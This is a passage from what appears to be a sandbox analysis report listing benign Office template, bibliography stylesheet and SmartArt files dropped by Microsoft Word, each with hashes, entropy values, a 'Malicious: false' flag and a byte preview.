SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Local\Temp\TCDEAD2.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.494357416502254
Encrypted:	false
SSDEEP:	6:fxnxUX0XPE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPGHmD0+dAH/luWvv
MD5:	6F8FE7B05855C203F6DEC5C31885DD08
SHA1:	9CC27D17B654C6205284DECA3278DA0DD0153AFF
SHA-256:	B7F58DF058C938CCF39054B31472DC76E18A3764B78B414088A261E440870175
SHA-512:	C518A243E51CB4A1E3C227F6A8A8D9532EE111D5A1C86EBBB23BD4328D92CD6A0587DF65B3B40A0BE2576D8755686D2A3A55E10444D5BB09FC4E0194DB70AFE6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.G.r.i.d...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEAD2.tmp\ThemePictureGrid.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Local\Temp\TCDEAF2.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.538396048757031
Encrypted:	false
SSDEEP:	6:fxnxUXcel8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyMelNGHmD0wbnKYZAH/lMZqiv
MD5:	149948E41627BE5DC454558E12AF2DA4
SHA1:	DB72388C037F0B638FCD007FAB46C916249720A8
SHA-256:	1B981DC422A042CDDEBE2543C57ED3D468288C20D280FF9A9E2BB4CC8F4776ED
SHA-512:	070B55B305DB48F7A8CD549A5AECF37DE9D6DCD780A5EC546B4BB2165AF4600FA2AF350DDDB48BECCAA3ED954AEE90F5C06C3183310B081F555389060FF4CB01
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .s.i.s.t.0.2...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEAF2.tmp\sist02.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDEB03.tmp\CircleProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Local\Temp\TCDEB03.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4720677950594836
Encrypted:	false
SSDEEP:	6:fxnxUXOu9+MlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnycMlWlzGHmD0+dAH/luWvv
MD5:	D04EC08EFE18D1611BDB9A5EC0CC00B1
SHA1:	668FF6DFE64D5306220341FC2C1353199D122932
SHA-256:	FA60500F951AFAF8FFDB6D1828456D60004AE1558E8E1364ADC6ECB59F5450C9
SHA-512:	97EBCCAF64FA33238B7CFC0A6D853EFB050D877E21EE87A78E17698F0BB38382FCE7F6C4D97D550276BD6B133D3099ECAB9CFCD739F31BFE545F4930D896EEC3
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.l.e.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEB33.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	3.5414485333689694
Encrypted:	false
SSDEEP:	6:fxnxUX8FaE3f8AWqlQqr++lcWimqnKOE3QepmlJ0+3FbnKfZObdADryMluxHZypo:fxnyj9AWI+acgq9GHmD0wbnKYZAH/lMf
MD5:	2F7A8FE4E5046175500AFFA228F99576
SHA1:	8A3DE74981D7917E6CE1198A3C8E35C7E2100F43
SHA-256:	1495B4EC56B371148EA195D790562E5621FDBF163CDD8A5F3C119F8CA3BD2363
SHA-512:	4B8FBB692D91D88B584E46C2F01BDE0C05DCD5D2FF073D83331586FB3D201EACD777D48DB3751E534E22115AA1C3C30392D0D642B3122F21EF10E3EE6EA3BE82
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.e.x.t. .S.i.d.e.b.a.r. .(.A.n.n.u.a.l. .R.e.p.o.r.t. .R.e.d. .a.n.d. .B.l.a.c.k. .d.e.s.i.g.n.)...d.o.c.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEB33.tmp\Text Sidebar (Annual Report Red and Black design).docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Local\Temp\TCDEB34.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5161159456784024
Encrypted:	false
SSDEEP:	6:fxnxUX+l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyulNGHmD0wbnKYZAH/lMZqiv
MD5:	C15EB3F4306EBF75D1E7C3C9382DEECC
SHA1:	A3F9684794FFD59151A80F97770D4A79F1D030A6
SHA-256:	23C262DF3AEACB125E88C8FFB7DBF56FD23F66E0D476AFD842A68DDE69658C7F
SHA-512:	ACDF7D69A815C42223FD6300179A991A379F7166EFAABEE41A3995FB2030CD41D8BCD46B566B56D1DFBAE8557AFA1D9FD55143900A506FA733DE9DA5D73389D6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .t.u.r.a.b.i.a.n...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEB34.tmp\turabian.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Local\Temp\TCDEB45.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.547857457374301
Encrypted:	false
SSDEEP:	6:fxnxUXSpGLMeKlPaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyipTIw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	4EC6724CBBA516CF202A6BD17226D02C
SHA1:	E412C574D567F0BA68B4A31EDB46A6AB3546EA95
SHA-256:	18E408155A2C2A24D91CD45E065927FFDA726356AAB115D290A3C1D0B7100402
SHA-512:	DE45011A084AB94BF5B27F2EC274D310CF68DF9FB082E11726E08EB89D5D691EA086C9E0298E16AE7AE4B23753E5916F69F78AAD82F4627FC6F80A6A43D163DB
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .h.a.r.v.a.r.d.a.n.g.l.i.a.2.0.0.8.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEB45.tmp\harvardanglia2008officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Local\Temp\TCDEB46.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.5026803317779778
Encrypted:	false
SSDEEP:	6:fxnxUXC89ADni8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyf9ADiNGHmD0wbnKYZAH/lMZqiv
MD5:	A0D51783BFEE86F3AC46A810404B6796
SHA1:	93C5B21938DA69363DBF79CE594C302344AF9D9E
SHA-256:	47B43E7DBDF8B25565D874E4E071547666B08D7DF4D736EA8521591D0DED640F
SHA-512:	CA3DB5A574745107E1D6CAA60E491F11D8B140637D4ED31577CC0540C12FDF132D8BC5EBABEA3222F4D7BA1CA016FF3D45FE7688D355478C27A4877E6C4D0D75
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.t.i.t.l.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEB46.tmp\gosttitle.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDEB66.tmp\APASixthEditionOfficeOnline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Local\Temp\TCDEB66.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.541819892045459
Encrypted:	false
SSDEEP:	6:fxnxUXuqRDA5McaQVTi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxny+AASZQoNGHmD0wbnKYZAH/lMZqiv
MD5:	C3216C3FC73A4B3FFFE7ED67153AB7B5
SHA1:	F20E4D33BABE978BE6A6925964C57D6E6EF1A92E
SHA-256:	7CF1D6A4F0BE5E6184F59BFB1304509F38E480B59A3B091DBDC43B052D2137CB
SHA-512:	D3B78BE6E7633FF943F5E34063B5EFA4AF239CD49F437227FC7575F6CC65C497B7D6F6A979EA065065BEAF257CB368560B5462542692286052B5C7E5C01755BC
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .A.P.A.S.i.x.t.h.E.d.i.t.i.o.n.O.f.f.i.c.e.O.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEB96.tmp\BracketList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Local\Temp\TCDEB96.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	250
